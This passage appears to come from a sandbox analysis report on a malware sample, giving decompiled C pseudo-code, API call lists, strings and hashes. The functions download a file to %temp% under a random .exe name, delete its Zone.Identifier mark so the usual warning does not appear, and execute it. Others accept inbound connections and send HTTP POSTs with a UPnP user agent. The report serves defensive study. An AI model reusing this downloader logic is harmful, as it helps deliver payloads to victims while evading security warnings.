					_v1576 = InternetOpenUrlW(_v2376,  &_v1044, 0, 0, 0, 0);
					if(_v1576 != 0) {
						_v1580 = CreateFileW( &_v1572, 0x40000000, 0, 0, 2, 0, 0);
						if(_v1580 != 0xffffffff) {
							while(InternetReadFile(_v1576,  &_v2364, 0x103,  &_v2372) != 0 && _v2372 != 0) {
								WriteFile(_v1580,  &_v2364, _v2372,  &_v2368, 0);
							}
							CloseHandle(_v1580);
							wsprintfW( &_v524, L"%s:Zone.Identifier",  &_v1572);
							DeleteFileW( &_v524);
							Sleep(0x3e8);
							_t125 = E0040D1D0( &_v1572);
							_t184 = _t184 + 0x10;
							if((_t125 & 0x000000ff) == 0) {
								DeleteFileW( &_v1572);
							} else {
								Sleep(0x7d0);
								_t127 = E0040D390( &_v1572);
								_t184 = _t184 + 4;
								if((_t127 & 0x000000ff) == 1) {
									_t51 =  &_a8; // 0x405de1
									if(( *_t51 & 0x000000ff) == 1) {
										ExitProcess(0);
									}
									_v1045 = 1;
								}
							}
						}
						CloseHandle(_v1580);
					}
					InternetCloseHandle(_v1576);
				}
				InternetCloseHandle(_v2376);
				Sleep(0x3e8);
				_t96 = _v1045 & 0x000000ff;
				if(_t96 == 0) {
					_t97 = rand();
					asm("cdq");
					Sleep(0x1388 + _t97 % 0xea60 * 5);
					_t99 = rand();
					asm("cdq");
					_t101 = rand();
					asm("cdq");
					_t96 = wsprintfW( &_v1572, L"%s\\%d%d.exe",  &_v2100, _t101 % 0x7fff + 0x3e8, _t99 % 0x7fff + 0x3e8);
					_push(0);
					_push(0);
					_push( &_v1572);
					_push( &_v1044);
					_push(0);
					L0040ECB2();
					if(_t96 == 0) {
						wsprintfW( &_v524, L"%s:Zone.Identifier",  &_v1572);
						DeleteFileW( &_v524);
						Sleep(0x3e8);
						if((E0040D1D0( &_v1572) & 0x000000ff) == 0) {
							return DeleteFileW( &_v1572);
						}
						Sleep(0x7d0);
						_t111 = E0040D390( &_v1572) & 0x000000ff;
						if(_t111 == 0) {
							L23:
							return _t111;
						}
						_t79 =  &_a8; // 0x405de1
						if(( *_t79 & 0x000000ff) != 1) {
							goto L23;
						}
						ExitProcess(0);
					}
				}
				return _t96;
			}

0x0040d500
0x0040d505
0x0040d508
0x0040d520
0x0040d529
0x0040d538
0x0040d53e
0x0040d546
0x0040d54c
0x0040d553
0x0040d568
0x0040d583
0x0040d58b
0x0040d590
0x0040d59f
0x0040d5a4
0x0040d5c6
0x0040d5cc
0x0040d5e2
0x0040d5ef
0x0040d611
0x0040d61e
0x0040d640
0x0040d64d
0x0040d653
0x0040d69e
0x0040d69e
0x0040d6ad
0x0040d6c6
0x0040d6d6
0x0040d6e1
0x0040d6ee
0x0040d6f3
0x0040d6fb
0x0040d740
0x0040d6fd
0x0040d702
0x0040d70f
0x0040d714
0x0040d71d
0x0040d71f
0x0040d726
0x0040d72a
0x0040d72a
0x0040d730
0x0040d730
0x0040d737
0x0040d6fb
0x0040d74d
0x0040d74d
0x0040d75a
0x0040d75a
0x0040d767
0x0040d772
0x0040d778
0x0040d781
0x0040d787
0x0040d78c
0x0040d79e
0x0040d7a4
0x0040d7a9
0x0040d7b8
0x0040d7bd
0x0040d7df
0x0040d7e8
0x0040d7ea
0x0040d7f2
0x0040d7f9
0x0040d7fa
0x0040d7fc
0x0040d803
0x0040d81c
0x0040d82c
0x0040d837
0x0040d851
0x00000000
0x0040d88e
0x0040d858
0x0040d86d
0x0040d872
0x00000000
0x00000000
0x00000000
0x0040d874
0x0040d87b
0x00000000
0x00000000
0x0040d87f
0x0040d87f
0x0040d803
0x0040d897

APIs

GetTickCount.KERNEL32 ref: 0040D4F9
srand.MSVCRT ref: 0040D500
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 0040D520
mbstowcs.NTDLL ref: 0040D583
rand.MSVCRT ref: 0040D58B
rand.MSVCRT ref: 0040D59F
wsprintfW.USER32 ref: 0040D5C6
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 0040D5DC
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040D60B
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040D63A
InternetReadFile.WININET(00000000,?,00000103,?), ref: 0040D66D
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 0040D69E
CloseHandle.KERNEL32(000000FF), ref: 0040D6AD
wsprintfW.USER32 ref: 0040D6C6
DeleteFileW.KERNEL32(?), ref: 0040D6D6
ExitProcess.KERNEL32 ref: 0040D72A
Sleep.KERNEL32(000007D0), ref: 0040D702

Part of subcall function 0040D390: memset.NTDLL ref: 0040D39E
Part of subcall function 0040D390: CreateProcessW.KERNELBASE(00000000,'b@,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040D3E5
Part of subcall function 0040D390: Sleep.KERNELBASE(000003E8), ref: 0040D3F5

DeleteFileW.KERNEL32(?), ref: 0040D740
CloseHandle.KERNEL32(000000FF), ref: 0040D74D
InternetCloseHandle.WININET(00000000), ref: 0040D75A
InternetCloseHandle.WININET(00000000), ref: 0040D767
Sleep.KERNEL32(000003E8), ref: 0040D772
rand.MSVCRT ref: 0040D787
Sleep.KERNEL32 ref: 0040D79E
rand.MSVCRT ref: 0040D7A4
rand.MSVCRT ref: 0040D7B8
wsprintfW.USER32 ref: 0040D7DF
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 0040D7FC
wsprintfW.USER32 ref: 0040D81C
DeleteFileW.KERNEL32(?), ref: 0040D82C
Sleep.KERNEL32(000003E8), ref: 0040D837
Sleep.KERNEL32(000003E8), ref: 0040D6E1

Part of subcall function 0040D1D0: CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040D204
Part of subcall function 0040D1D0: CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040D225
Part of subcall function 0040D1D0: MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040D244
Part of subcall function 0040D1D0: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D25D

Sleep.KERNEL32(000007D0), ref: 0040D858
ExitProcess.KERNEL32 ref: 0040D87F
DeleteFileW.KERNEL32(?), ref: 0040D88E

Strings

%s\%d%d.exe, xrefs: 0040D7D3
%s\%d%d.exe, xrefs: 0040D5BA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36, xrefs: 0040D5D7
%temp%, xrefs: 0040D51B
%s:Zone.Identifier, xrefs: 0040D6BA
%s:Zone.Identifier, xrefs: 0040D810
]@, xrefs: 0040D874, 0040D71F

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: File$Sleep$Internetrand$CloseCreateDeleteHandlewsprintf$Process$ExitOpen$CountDownloadEnvironmentExpandMappingReadSizeStringsTickViewWritembstowcsmemsetsrand
String ID: %s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36$]@
API String ID: 3135114409-3650745090
Opcode ID: 2b318facc40237961988d4633bef23f1fd430d2f89d1c5a367f5bf161b193eb1
Instruction ID: 4a692bf560fa698191a4ba968421e092d812baa048ff7158642ad85748ebf153
Opcode Fuzzy Hash: 2b318facc40237961988d4633bef23f1fd430d2f89d1c5a367f5bf161b193eb1
Instruction Fuzzy Hash: C291C6B5D00318ABEB24DB50DC45FED7779AB88301F0484F9F609A61C1DAB99AC4CF28

Uniqueness

Uniqueness Score: -1.00%

Function 0040E400 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 138
networksynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E0040E400(intOrPtr* _a4) {
				intOrPtr _v64;
				char _v68;
				long _v72;
				signed char _v80;
				long _v92;
				char _v96;
				char _v100;
				void* __ebx;
				void* __edi;
				void* __ebp;
				long _t31;
				long _t33;
				long _t34;
				long _t42;
				intOrPtr _t49;
				intOrPtr* _t56;
				intOrPtr _t70;
				intOrPtr* _t73;
				long _t74;
				intOrPtr _t75;
				struct _CRITICAL_SECTION* _t76;
				intOrPtr* _t77;
				void* _t78;
				signed int _t79;
				void* _t81;

				_t81 = (_t79 & 0xfffffff8) - 0x44;
				_t31 = GetTickCount();
				_t56 = _a4;
				_v72 = _t31;
				_t33 = WaitForSingleObject( *(_t56 + 0x10), 1);
				if(_t33 == 0) {
					L25:
					return _t33;
				} else {
					goto L1;
				}
				do {
					L1:
					_t73 = _t56 + 0x18;
					__imp__WSAWaitForMultipleEvents(1, _t73, 0, 0, 0);
					if(_t33 != 0x102) {
						__imp__WSAEnumNetworkEvents( *((intOrPtr*)(_t56 + 0x14)),  *_t73,  &_v68);
						if((_v80 & 0x00000008) != 0 && _v64 == 0 &&  *_t56 == 0x494f4350) {
							_t49 =  *((intOrPtr*)(_t56 + 0x14));
							_v100 = 0x10;
							__imp__#1(_t49,  &_v96,  &_v100);
							if(_t49 != 0xffffffff) {
								_t77 = E0040DF90(_t56, _t49);
								_t81 = _t81 + 4;
								if(_t77 != 0) {
									_t15 = _t77 + 0x264; // 0x264
									E0040E220(0, _t77, _t56, _t15);
									_t81 = _t81 + 8;
									if( *((char*)(_t77 + 0x274)) == 0 &&  *_t77 == 0x69636c69) {
										E0040E7D0(_t77);
									}
								}
							}
						}
					}
					_t34 = GetTickCount();
					_t74 = _v92;
					if(_t34 - _t74 < 0x3e8) {
						if(GetTickCount() - _t74 < 0x2710) {
							goto L24;
						}
						EnterCriticalSection(_t56 + 0x20);
						_t75 =  *((intOrPtr*)(_t56 + 0x38));
						if(_t75 == 0) {
							L23:
							LeaveCriticalSection(_t56 + 0x20);
							_v92 = GetTickCount();
							goto L24;
						} else {
							goto L19;
						}
						do {
							L19:
							_t42 = InterlockedExchangeAdd(_t75 + 4, 0);
							if(E0040BE60() - _t42 >= 0x1e) {
								_t45 =  *((intOrPtr*)(_t75 + 0x260));
								if( *((intOrPtr*)(_t75 + 0x260)) != 0xffffffff) {
									E00409600(_t45);
									_t81 = _t81 + 4;
									 *((intOrPtr*)(_t75 + 0x260)) = 0xffffffff;
								}
							}
							_t75 =  *((intOrPtr*)(_t75 + 0x280));
						} while (_t75 != 0);
						goto L23;
					}
					_t76 = _t56 + 0x20;
					EnterCriticalSection(_t76);
					_t70 =  *((intOrPtr*)(_t56 + 0x38));
					if(_t70 == 0) {
						L16:
						LeaveCriticalSection(_t76);
						goto L24;
					}
					while( *((intOrPtr*)(_t70 + 0x260)) != 0xffffffff) {
						_t70 =  *((intOrPtr*)(_t70 + 0x280));
						if(_t70 != 0) {
							continue;
						} else {
							LeaveCriticalSection(_t76);
							goto L24;
						}
					}
					E0040E300(_t56, _t70, _t78);
					goto L16;
					L24:
					_t33 = WaitForSingleObject( *(_t56 + 0x10), 1);
				} while (_t33 != 0);
				goto L25;
			}

0x0040e406
0x0040e40c
0x0040e412
0x0040e415
0x0040e41f
0x0040e427
0x0040e5a9
0x0040e5af
0x00000000
0x00000000
0x00000000
0x0040e42d
0x0040e42d
0x0040e433
0x0040e439
0x0040e444
0x0040e456
0x0040e461
0x0040e472
0x0040e480
0x0040e488
0x0040e491
0x0040e49b
0x0040e49d
0x0040e4a2
0x0040e4a4
0x0040e4b0
0x0040e4b5
0x0040e4bf
0x0040e4cb
0x0040e4cb
0x0040e4bf
0x0040e4a2
0x0040e491
0x0040e461
0x0040e4d6
0x0040e4d8
0x0040e4e3
0x0040e52c
0x00000000
0x00000000
0x0040e532
0x0040e538
0x0040e53d
0x0040e581
0x0040e585
0x0040e591
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e53f
0x0040e53f
0x0040e545
0x0040e557
0x0040e559
0x0040e562
0x0040e565
0x0040e56a
0x0040e56d
0x0040e56d
0x0040e562
0x0040e577
0x0040e57d
0x00000000
0x0040e53f
0x0040e4e5
0x0040e4e9
0x0040e4ef
0x0040e4f4
0x0040e51a
0x0040e51b
0x00000000
0x0040e51b
0x0040e4f6
0x0040e4ff
0x0040e507
0x00000000
0x0040e509
0x0040e50a
0x00000000
0x0040e50a
0x0040e507
0x0040e515
0x00000000
0x0040e595
0x0040e59b
0x0040e5a1
0x00000000

APIs

GetTickCount.KERNEL32 ref: 0040E40C
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040E41F
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000000,00000000), ref: 0040E439
WSAEnumNetworkEvents.WS2_32(?,?,?), ref: 0040E456
accept.WS2_32(?,?,?), ref: 0040E488
GetTickCount.KERNEL32 ref: 0040E4D6
EnterCriticalSection.KERNEL32(?), ref: 0040E4E9
LeaveCriticalSection.KERNEL32(?), ref: 0040E50A
LeaveCriticalSection.KERNEL32(?), ref: 0040E51B
GetTickCount.KERNEL32 ref: 0040E523
EnterCriticalSection.KERNEL32(?), ref: 0040E532
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040E545
LeaveCriticalSection.KERNEL32(?), ref: 0040E585
GetTickCount.KERNEL32 ref: 0040E58B
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040E59B

Strings

ilci, xrefs: 0040E4C1
PCOI, xrefs: 0040E46A

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$LeaveWait$EnterEventsObjectSingle$EnumExchangeInterlockedMultipleNetworkaccept
String ID: PCOI$ilci
API String ID: 3345448188-3762367603
Opcode ID: bb4d3cf90a14a1c5926323184073f7f145db719bf38f75a5591e561ad632ef64
Instruction ID: 917b59bc2a3588b9956fd89eac52db2b1e6dcbcc9db4fe113c03d7dfd46bf168
Opcode Fuzzy Hash: bb4d3cf90a14a1c5926323184073f7f145db719bf38f75a5591e561ad632ef64
Instruction Fuzzy Hash: 29413671500200ABCB209F75DC8CB9B77A9AF44714F048E3EF955A72C1EB78E891CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040CD60 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 138
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E0040CD60(char* _a4, char* _a8, void* _a12, long* _a16) {
				char _v260;
				char _v772;
				char* _v776;
				void* _v780;
				intOrPtr _v792;
				char* _v796;
				signed short _v816;
				intOrPtr _v820;
				char* _v824;
				void _v836;
				void* _v840;
				void* _v844;
				void* _v848;
				char* _v852;
				long _v856;
				void _v1884;
				long _v1888;
				void* _t102;
				void* _t103;

				_v776 = 0;
				_v840 = 0;
				memset( &_v836, 0, 0x38);
				_t103 = _t102 + 0xc;
				_v840 = 0x3c;
				_v824 =  &_v260;
				_v820 = 0x100;
				_v796 =  &_v772;
				_v792 = 0x200;
				InternetCrackUrlA(_a4, 0, 0x10000000,  &_v840);
				_v780 = InternetOpenA("Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)", 1, 0, 0, 0);
				if(_v780 != 0) {
					_v844 = InternetConnectA(_v780,  &_v260, _v816 & 0x0000ffff, 0, 0, 3, 0, 0);
					if(_v844 != 0) {
						_v848 = HttpOpenRequestA(_v844, "POST",  &_v772, 0, 0, 0, 0, 0);
						if(_v848 != 0) {
							HttpAddRequestHeadersA(_v848, _a8, 0xffffffff, 0xa0000000);
							_v852 = "Content-Type: text/xml; charset=\"utf-8\"\r\nConnection: Close\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n";
							if(HttpSendRequestA(_v848, _v852, 0xffffffff, _a12,  *_a16) != 0) {
								_v856 = 0;
								while(1 != 0) {
									_t98 = _v848;
									if(InternetReadFile(_v848,  &_v1884, 0x400,  &_v1888) != 0 && _v1888 != 0) {
										_v776 = E00408B60(_v776, _t98, _v776, _v856 + _v1888);
										memcpy( &(_v776[_v856]),  &_v1884, _v1888);
										_t103 = _t103 + 0x14;
										_v856 = _v856 + _v1888;
										continue;
									}
									break;
								}
								 *_a16 = _v856;
							}
							InternetCloseHandle(_v848);
						}
						InternetCloseHandle(_v844);
					}
					InternetCloseHandle(_v780);
				}
				return _v776;
			}

0x0040cd69
0x0040cd73
0x0040cd88
0x0040cd8d
0x0040cd90
0x0040cda0
0x0040cda6
0x0040cdb6
0x0040cdbc
0x0040cdd8
0x0040cdf1
0x0040cdfe
0x0040ce2a
0x0040ce37
0x0040ce60
0x0040ce6d
0x0040ce85
0x0040ce8b
0x0040ceb7
0x0040cebd
0x0040cec7
0x0040cee7
0x0040cef6
0x0040cf1f
0x0040cf40
0x0040cf45
0x0040cf54
0x00000000
0x0040cf54
0x00000000
0x0040cef6
0x0040cf68
0x0040cf68
0x0040cf71
0x0040cf71
0x0040cf7e
0x0040cf7e
0x0040cf8b
0x0040cf8b
0x0040cf9a

APIs

memset.NTDLL ref: 0040CD88
InternetCrackUrlA.WININET(00009E34,00000000,10000000,0000003C), ref: 0040CDD8
InternetOpenA.WININET(Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x),00000001,00000000,00000000,00000000), ref: 0040CDEB
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040CE24
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,00000000,00000000,00000000), ref: 0040CE5A
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,A0000000), ref: 0040CE85
HttpSendRequestA.WININET(00000000,004108D0,000000FF,00009E34), ref: 0040CEAF
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040CEEE
memcpy.NTDLL(00000000,?,00000000), ref: 0040CF40
InternetCloseHandle.WININET(00000000), ref: 0040CF71
InternetCloseHandle.WININET(00000000), ref: 0040CF7E
InternetCloseHandle.WININET(00000000), ref: 0040CF8B

Strings

<, xrefs: 0040CD90
POST, xrefs: 0040CE4E
Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x), xrefs: 0040CDE6

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttpRequest$Open$ConnectCrackFileHeadersReadSendmemcpymemset
String ID: <$Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)$POST
API String ID: 2761394606-2217117414
Opcode ID: c6376e83d60c8fd7847bc7aaada5821a3adf07af9ef20e77e1c46dfbd3437302
Instruction ID: ea500a29b1865390ea74af70c7a13144c6f50436d918f4b951375f33d6e11f24
Opcode Fuzzy Hash: c6376e83d60c8fd7847bc7aaada5821a3adf07af9ef20e77e1c46dfbd3437302
Instruction Fuzzy Hash: 0A512CB5900228ABDB26DF54CC94BD973BDAB48705F1081E9B60DA62C0C7B86FC4CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0040E0E0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 93
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E0040E0E0(intOrPtr* __edi) {
				void* __esi;
				void* _t25;
				long _t40;
				intOrPtr* _t53;
				intOrPtr* _t55;
				void* _t56;
				LONG* _t62;

				_t53 = __edi;
				if(__edi == 0 ||  *__edi != 0x494f4350) {
					return _t25;
				} else {
					_t1 = _t53 + 0x20; // 0x20
					EnterCriticalSection(_t1);
					_t55 =  *((intOrPtr*)(__edi + 0x38));
					if(_t55 == 0) {
						L11:
						_t13 = _t53 + 0x20; // 0x20
						LeaveCriticalSection(_t13);
						SetEvent( *(_t53 + 0x10));
						_t56 = 0;
						if( *((intOrPtr*)(_t53 + 4)) <= 0) {
							L14:
							E0040BC90( *((intOrPtr*)(_t53 + 0xc)), 0xffffffff);
							E0040BDD0( *((intOrPtr*)(_t53 + 0xc)));
							CloseHandle( *(_t53 + 8));
							CloseHandle( *(_t53 + 0x10));
							__imp__WSACloseEvent( *((intOrPtr*)(_t53 + 0x18)));
							E00409600( *((intOrPtr*)(_t53 + 0x14)));
							_t24 = _t53 + 0x20; // 0x20
							DeleteCriticalSection(_t24);
							return E00408C70(_t53);
						}
						do {
							PostQueuedCompletionStatus( *(_t53 + 8), 0, 0, 0);
							_t56 = _t56 + 1;
						} while (_t56 <  *((intOrPtr*)(_t53 + 4)));
						goto L14;
					} else {
						goto L3;
					}
					do {
						L3:
						if( *_t55 == 0x69636c69) {
							if( *((char*)(_t55 + 0x275)) == 0) {
								_t62 = _t55 + 0x21c;
								_t40 = InterlockedExchangeAdd(_t62, 0);
								if(_t40 == 0) {
									 *(_t55 + 0x230) = _t40;
									 *((intOrPtr*)(_t55 + 0x220)) = 1;
									 *((intOrPtr*)(_t55 + 0x228)) = _t55 + 8;
									 *((intOrPtr*)(_t55 + 0x22c)) = 0x200;
									InterlockedIncrement(_t62);
									if(E0040E730(_t55) == 0) {
										InterlockedDecrement(_t62);
									}
								}
							}
						}
						_t55 =  *((intOrPtr*)(_t55 + 0x280));
					} while (_t55 != 0);
					goto L11;
				}
			}

0x0040e0e0
0x0040e0e2
0x0040e217
0x0040e0f4
0x0040e0f6
0x0040e0fa
0x0040e100
0x0040e105
0x0040e190
0x0040e190
0x0040e194
0x0040e19e
0x0040e1a4
0x0040e1a9
0x0040e1c3
0x0040e1c9
0x0040e1d2
0x0040e1e4
0x0040e1ea
0x0040e1f0
0x0040e1fa
0x0040e202
0x0040e206
0x00000000
0x0040e216
0x0040e1b1
0x0040e1bb
0x0040e1bd
0x0040e1be
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e10b
0x0040e10b
0x0040e111
0x0040e133
0x0040e137
0x0040e13e
0x0040e146
0x0040e14c
0x0040e152
0x0040e15c
0x0040e162
0x0040e16c
0x0040e179
0x0040e17c
0x0040e17c
0x0040e179
0x0040e146
0x0040e133
0x0040e182
0x0040e188
0x00000000
0x0040e10b

APIs

EnterCriticalSection.KERNEL32(00000020,0040B950,?,0040EC84), ref: 0040E0FA
InterlockedDecrement.KERNEL32(?), ref: 0040E126
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040E13E
InterlockedIncrement.KERNEL32(?), ref: 0040E16C
InterlockedDecrement.KERNEL32(?), ref: 0040E17C
LeaveCriticalSection.KERNEL32(00000020,?,0040EC84), ref: 0040E194
SetEvent.KERNEL32(?,?,0040EC84), ref: 0040E19E
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,0040EC84), ref: 0040E1BB
CloseHandle.KERNEL32(?,?,?,0040EC84), ref: 0040E1E4
CloseHandle.KERNEL32(?,?,?,0040EC84), ref: 0040E1EA
WSACloseEvent.WS2_32(?), ref: 0040E1F0
DeleteCriticalSection.KERNEL32(00000020,?,?,?,0040EC84), ref: 0040E206

Strings

ilci, xrefs: 0040E10B
PCOI, xrefs: 0040E0E8

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: Interlocked$CloseCriticalSection$DecrementEventHandle$CompletionDeleteEnterExchangeIncrementLeavePostQueuedStatus
String ID: PCOI$ilci
API String ID: 2403999931-3762367603
Opcode ID: 24bc7e855fdf49573c30e595b41f6c55b623b0266ed7625da85c1981aca9c43c
Instruction ID: 4e090b2b2d95b5b5db58c8e8021d4e4c0217c2d5e17fa086addfc70fe82b675d
Opcode Fuzzy Hash: 24bc7e855fdf49573c30e595b41f6c55b623b0266ed7625da85c1981aca9c43c
Instruction Fuzzy Hash: 6E319871500705BBD7109F71EC48F97B7A8BF09300F048A2EE959A7691C778F9A4CB98

Uniqueness

Uniqueness Score: -1.00%

Function 004043F0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 73
windowsleepregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E004043F0() {
				struct HWND__* _v8;
				struct tagMSG _v36;
				struct _WNDCLASSEXW _v84;
				short _v596;
				unsigned int _t20;
				void* _t39;
				void* _t40;

				do {
					_v84.cbSize = 0;
					memset( &(_v84.style), 0, 0x2c);
					_t40 = _t39 + 0xc;
					_v84.cbSize = 0x30;
					_v84.lpfnWndProc = E004041A0;
					_v84.hInstance = GetModuleHandleW(0);
					_v84.lpszClassName =  &_v596;
					do {
						Sleep(1);
						_t20 = GetTickCount();
						wsprintfW( &_v596, L"%x%X", GetTickCount(), _t20 >> 1);
						_t40 = _t40 + 0x10;
					} while ((RegisterClassExW( &_v84) & 0x0000ffff) == 0);
					_v8 = CreateWindowExW(0, _v84.lpszClassName, 0, 0, 0, 0, 0, 0, 0xfffffffd, 0, _v84.hInstance, 0);
					if(_v8 != 0) {
						while(GetMessageA( &_v36, 0, 0, 0) > 0) {
							TranslateMessage( &_v36);
							DispatchMessageA( &_v36);
						}
						goto L7;
					}
					break;
					L7:
				} while (0 != 0);
				ExitThread(0);
			}

0x004043f9
0x004043f9
0x00404408
0x0040440d
0x00404410
0x00404417
0x00404426
0x0040442f
0x00404432
0x00404434
0x0040443a
0x00404456
0x0040445c
0x0040446c
0x00404492
0x00404499
0x0040449d
0x004044b5
0x004044bf
0x004044bf
0x00000000
0x0040449d
0x00000000
0x004044c7
0x004044c7
0x004044d1

APIs

memset.NTDLL ref: 00404408
GetModuleHandleW.KERNEL32(00000000), ref: 00404420
Sleep.KERNEL32(00000001), ref: 00404434
GetTickCount.KERNEL32 ref: 0040443A
GetTickCount.KERNEL32 ref: 00404443
wsprintfW.USER32 ref: 00404456
RegisterClassExW.USER32(00000030), ref: 00404463
CreateWindowExW.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,?,00000000), ref: 0040448C
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004044A7
TranslateMessage.USER32(?), ref: 004044B5
DispatchMessageA.USER32(?), ref: 004044BF
ExitThread.KERNEL32 ref: 004044D1

Strings

%x%X, xrefs: 0040444A
0, xrefs: 00404410

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: Message$CountTick$ClassCreateDispatchExitHandleModuleRegisterSleepThreadTranslateWindowmemsetwsprintf
String ID: %x%X$0
API String ID: 716646876-225668902
Opcode ID: fefae300a6ae166907af6779e4e4d81ad735c504abc0138177021c7cc3709374
Instruction ID: 3e2b717ade092063a9efcdadcacb4b05de8fa546afe9c034d67f52ff400308d4
Opcode Fuzzy Hash: fefae300a6ae166907af6779e4e4d81ad735c504abc0138177021c7cc3709374
Instruction Fuzzy Hash: 732121B0940318ABEB109BE0DC4DFEE7B78BB48701F548529F601B61D0DBB995448B69

Uniqueness

Uniqueness Score: -1.00%

Function 00409A30 Relevance: 22.7, APIs: 9, Strings: 6, Instructions: 156
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

